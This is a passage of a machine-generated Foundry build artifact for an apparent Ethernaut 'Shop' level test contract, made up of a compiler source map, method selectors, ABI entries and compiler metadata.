55;1578:13:146;;;;820:18:155;;1578:21:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1641:9:146;;1660:8;;1609:62;;-1:-1:-1;1621:49:146;;-1:-1:-1;;;;;;1641:9:146;;;;1660:8;1621:19;:49::i;:::-;1609:11;:62::i;:::-;1541:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20068:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20041:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19603:184::-;19673:6;19726:2;19714:9;19705:7;19701:23;19697:32;19694:52;;;19742:1;19739;19732:12;19694:52;-1:-1:-1;19765:16:155;;19603:184;-1:-1:-1;19603:184:155:o;19792:125::-;19857:9;;;19878:10;;;19875:36;;;19891:18;;:::i;20104:383::-;20301:2;20290:9;20283:21;20264:4;20327:45;20368:2;20357:9;20353:18;20345:6;20327:45;:::i;:::-;20420:9;20412:6;20408:22;20403:2;20392:9;20388:18;20381:50;20448:33;20474:6;20466;20448:33;:::i;:::-;20440:41;20104:383;-1:-1:-1;;;;;20104:383:155:o;20492:335::-;20571:6;20624:2;20612:9;20603:7;20599:23;20595:32;20592:52;;;20640:1;20637;20630:12;20592:52;20673:9;20667:16;20706:18;20698:6;20695:30;20692:50;;;20738:1;20735;20728:12;20692:50;20761:60;20813:7;20804:6;20793:9;20789:22;20761:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Shop.t.sol\":\"TestShop\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6